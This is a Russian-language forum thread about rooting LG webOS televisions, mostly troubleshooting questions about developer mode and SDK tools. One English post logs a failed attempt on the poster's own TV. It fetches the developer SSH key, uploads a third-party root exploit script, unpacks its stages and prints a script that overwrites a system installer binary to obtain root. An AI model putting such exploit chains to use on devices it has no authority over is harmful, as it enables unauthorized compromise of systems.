Реклама показывается только незарегистрированным пользователям. Вход или Регистрация

Как получить Root права на webOS 1.0-3.0

Обсуждение телевизоров LG на webOS

Re: Как получить Root права на webOS 1.0-3.0

Сообщение shust_blr » 19 окт 2017, 13:01

а может кто-то написать инструкцию для получения рута webos 1.4 для новичков? ) (т.е. немножко по-подробнее)
shust_blr

 
Сообщения: 3
Зарегистрирован: 06 июн 2017, 13:09
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.
Телевизор: LG 42LB700V

Re: Как получить Root права на webOS 1.0-3.0

Спонсор » 19 окт 2017, 13:01

Реклама показывается только незарегистрированным пользователям. Войти или Зарегистрироваться
Спонсор

 
Сообщения: 100
Зарегистрирован: 15 июл 2014, 19:43
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.

Re: Как получить Root права на webOS 1.0-3.0

Сообщение Bakugan » 19 окт 2017, 13:36

shust_blr
Если не можете разобраться с инструкцией, думаю рут вам может только навредить.
Bakugan

 
Сообщения: 1745
Зарегистрирован: 07 окт 2010, 22:52
Благодарил (а): 34 раз.
Поблагодарили: 179 раз.
Телефон: Palm Pre 2
Планшет: HP TouchPad Wi-Fi 16Gb

Re: Как получить Root права на webOS 1.0-3.0

Сообщение brunor6 » 22 окт 2017, 00:38

tv model LG WEBOS LJ610V
firmware 03.60.01

uname -a
Linux LGwebOSTV 4.4.3-73.dorrigo.2 #1 SMP PREEMPT Wed Jun 7 18:51:13 KST 2017 armv7l GNU/Linux


uname -r
4.4.3-73.dorrigo.2

/ # ls
bin etc lib mnt run sys usr
boot home linuxrc old_root sbin tee var
dev lg media proc share tmp www

Posted after 8 minutes 33 seconds:
webOS TV 3.5.0 LGwebOSTV

Give root password for maintenance
(or press Control-D to continue):
~ #
brunor6

 
Сообщения: 20
Зарегистрирован: 23 май 2017, 18:24
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.
Телевизор: LG 42lb650v

Re: Как получить Root права на webOS 1.0-3.0

Сообщение potapich09 » 22 окт 2017, 19:58

Здравствуйте! Скажите пожалуйста знающие люди, можно ли приладить на webos 3.0 эмулятор wiccard для спутникового шаринга? Если не сложно разъясните как это можно сделать. Если это возможно.
potapich09

 
Сообщения: 1
Зарегистрирован: 22 окт 2017, 19:45
Благодарил (а): 1 раз.
Поблагодарили: 0 раз.

Re: Как получить Root права на webOS 1.0-3.0

Сообщение teffd » 22 окт 2017, 20:08

potapich09 писал(а):Здравствуйте! Скажите пожалуйста знающие люди, можно ли приладить на webos 3.0 эмулятор wiccard для спутникового шаринга? Если не сложно разъясните как это можно сделать. Если это возможно.


Если коротко, то нет - нельзя

За это сообщение автора teffd поблагодарил:
potapich09 (22 окт 2017, 20:42)
teffd

 
Сообщения: 57
Зарегистрирован: 22 июл 2017, 15:08
Благодарил (а): 6 раз.
Поблагодарили: 13 раз.

Re: Как получить Root права на webOS 1.0-3.0

Сообщение sam_ » 30 окт 2017, 04:51

Hi everyone, I've tried using this on LG 32LJ610V and failed. These are the steps taken.
With developer mode active + key server running, get RSA key first:
Код: Выделить всё
$ curl -o lg_tv_webos.id_rsa http://<lg_tv_ip>:9991/webos_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1766    0  1766    0     0  18344      0 --:--:-- --:--:-- --:--:-- 18206
$ echo $?
0

Upload exploit:
Код: Выделить всё
$ sftp -i lg_tv_webos.id_rsa -P 9922 prisoner@<lg_tv_ip>:/media/developer
Enter passphrase for key 'lg_tv_webos.id_rsa':
Connected to <lg_tv_ip>.
Changing to: /media/developer
sftp> put zalil.su_6937580_root_exploit.sh
Uploading zalil.su_6937580_root_exploit.sh to /media/developer/zalil.su_6937580_root_exploit.sh
zalil.su_6937580_root_exploit.sh              100%   27KB  26.6KB/s   00:00   
sftp> quit

Establish interactive shell:
Код: Выделить всё
$ ssh -i lg_tv_webos.id_rsa -p 9922 prisoner@<lg_tv_ip> '/bin/sh -i'
Enter passphrase for key 'lg_tv_webos.id_rsa':
/bin/sh: can't access tty; job control turned off
/media/developer $ uname -a
Linux LG_TV 4.4.3-73.dorrigo.2 #1 SMP PREEMPT Wed Jun 7 18:51:13 KST 2017 armv7l GNU/Linux
/media/developer $ id
uid=6872(prisoner) gid=5000 groups=29(audio),44(video),505(compositor),509(se),777(crashd)
/media/developer $ ls -lA
total 52
drwxr-xr-x    2 develope develope      4096 Oct 30 01:23 .ssh
-rw-r--r--    1 6494     5000         13195 Oct 30 01:22 jail_app.conf
-rw-r--r--    1 6494     5000          1631 Oct 30 01:22 jail_app.conf.sig
lrwxrwxrwx    1 root     root            18 Oct 30 01:23 log -> /tmp/developer/log
-rwxr-x---    1 prisoner 5000         27261 Oct 30 01:35 zalil.su_6937580_root_exploit.sh
/media/developer $

Extract exploit payload:
Код: Выделить всё
/media/developer $ sed -re '1,/^PAYLOAD:/d' < zalil.su_6937580_root_exploit.sh | tar xzf -
tar: .: Cannot utime: Operation not permitted
tar: Error exit delayed from previous errors
/media/developer $ ls -lA
total 128
drwxr-xr-x    2 develope develope      4096 Oct 30 01:23 .ssh
-rwxr-xr-x    1 prisoner 5000         16236 Jul 28 07:49 firstg
-rw-r--r--    1 6494     5000         13195 Oct 30 01:22 jail_app.conf
-rw-r--r--    1 6494     5000          1631 Oct 30 01:22 jail_app.conf.sig
lrwxrwxrwx    1 root     root            18 Oct 30 01:23 log -> /tmp/developer/log
-rwxr-xr-x    1 prisoner 5000           168 Jul 28 07:50 rep
-rwxr-xr-x    1 prisoner 5000           416 Jul 28 08:05 rt.sh
-rwxr-xr-x    1 prisoner 5000         39987 Jul 28 07:49 secstg
-rwxr-xr-x    1 prisoner 5000         11052 Jul 28 07:54 su
-rwxr-x---    1 prisoner 5000         27261 Oct 30 01:35 zalil.su_6937580_root_exploit.sh
/media/developer $ cat rt.sh
#!/bin/sh

echo "first stage"
./firstg /usr/bin/ApplicationInstallerUtility rep > /dev/null 2>&1
sleep 2
echo "second stage"
./secstg > /dev/null 2>&1
sleep 2
echo "third stage - "
echo "try install any app from market"
echo "wait..."
while [ ! -f /dev/shm/test/su ]
do
  sleep 2
  echo "try install any app from market"
done
sleep 1
echo "third stage ok"
echo "try get root - input password 1111"
/dev/shm/test/su

/media/developer $

Utime error can be ignored, executable bits are already set, so let's execute stages one by one. First stage should replace installer utility with script:
Код: Выделить всё
/media/developer $ ls -l /usr/bin/ApplicationInstallerUtility
-rwxr-xr-x    1 root     root         17704 Jun  7 11:59 /usr/bin/ApplicationInstallerUtility
/media/developer $ md5sum /usr/bin/ApplicationInstallerUtility
0565681a56c81ac655e6e405b5dc67b9  /usr/bin/ApplicationInstallerUtility
/media/developer $ ./firstg /usr/bin/ApplicationInstallerUtility rep
mmap 76d35000

168 0
/media/developer $ echo $?
0
/media/developer $ ls -l /usr/bin/ApplicationInstallerUtility
-rwxr-xr-x    1 root     root         17704 Jun  7 11:59 /usr/bin/ApplicationInstallerUtility
/media/developer $ md5sum /usr/bin/ApplicationInstallerUtility
0565681a56c81ac655e6e405b5dc67b9  /usr/bin/ApplicationInstallerUtility
/media/developer $

Already first stage fails (even though claiming success), which is the reason for J4ZZ's failure few posts back. Since brunor6 had success with same kernel version, could someone please help and say what I'm doing wrong? Thanks in advance, sam_
sam_

 
Сообщения: 2
Зарегистрирован: 30 окт 2017, 02:59
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.
Телевизор: LG 32LJ610V

Re: Как получить Root права на webOS 1.0-3.0

Сообщение Gleb » 31 окт 2017, 21:14

Подскажите пожалуйста! Ввожу команду ares-novacom --device tv2 --getkey а мне в ответ ares-novacom ERR! ares-novacom: Error: Failed to get ssh private key что делать?

Версия webOS 2.2.0-15505
Gleb

 
Сообщения: 3
Зарегистрирован: 31 окт 2017, 21:09
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.
Телевизор: LG 43LF634V-ZC

Re: Как получить Root права на webOS 1.0-3.0

Сообщение Архивариус » 31 окт 2017, 23:05

Gleb
Что эта команда вводит?
Код: Выделить всё
ares-setup-device -list
Архивариус

 
Сообщения: 4416
Зарегистрирован: 29 июл 2010, 21:22
Благодарил (а): 411 раз.
Поблагодарили: 536 раз.
Телевизор: LG 55UB950 24MT57S

Re: Как получить Root права на webOS 1.0-3.0

Сообщение Gleb » 31 окт 2017, 23:17

Архивариус писал(а):Gleb
Что эта команда вводит?
Код: Выделить всё
ares-setup-device -list

tv2 prisoner@192.168.100.3:9922 ssh tv
emulator developer@127.0.0.0:6622 ssh tv
Gleb

 
Сообщения: 3
Зарегистрирован: 31 окт 2017, 21:09
Благодарил (а): 0 раз.
Поблагодарили: 0 раз.
Телевизор: LG 43LF634V-ZC

Re: Как получить Root права на webOS 1.0-3.0

Сообщение Архивариус » 31 окт 2017, 23:19

Key Server в приложении Developer Mode включен?
Архивариус

 
Сообщения: 4416
Зарегистрирован: 29 июл 2010, 21:22
Благодарил (а): 411 раз.
Поблагодарили: 536 раз.
Телевизор: LG 55UB950 24MT57S

Пред.След.

Вернуться в webOS-телевизоры - Обсуждение



Кто сейчас на конференции

Сейчас этот форум просматривают: Yahoo [Bot] и гости: 0